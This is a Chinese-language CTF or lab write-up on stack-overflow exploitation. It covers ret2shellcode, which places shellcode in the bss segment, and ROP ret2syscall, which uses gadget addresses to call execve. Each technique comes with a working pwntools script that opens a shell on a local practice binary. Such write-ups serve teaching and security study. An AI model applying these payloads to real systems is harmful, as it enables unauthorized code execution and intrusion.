ret2shellcode
在程序中往往不会直接留给回门程序
这时候可以篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址,初期往往将 shellcode 直接写入栈缓冲区。
目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限。
首先看一下基本信息,是一个32位的
有一段内存可读可写可执行,这是非常危险的。
虽然NX没有打开但是依然不可以直接把shellcode写入栈,因为往往系统默认开启ASLR。
输入的值给到buf2,一个全局变量对应bss段。
宽度为108再加上4字节覆盖返回地址。
payload:
from pwn import *
io = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
addr = 0x0804A080
payload = shellcode.ljust(112,b'A')+ p32(addr)
io.send(payload)
io.interactive()
ROP—ret2syscall
同时找到字符串:
addr_sh = 0x080BE408
要组合成:
宽度为108加上4字节
利用ROPgadget来找到相关的汇编代码:
eax:
0x080bb196 : pop eax ; ret
eax_ret = 0x080bb196
ebx:
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
edx_ecx_ebx_ret = 0x0806eb90
int:
int_80h = 0x08049421
payload:
from pwn import *
io = process("./ret2syscall")
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
addr_sh = 0x080BE408
payload = flat([b'A'*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,addr_sh,int_80h])
io.send(payload)
io.interactive()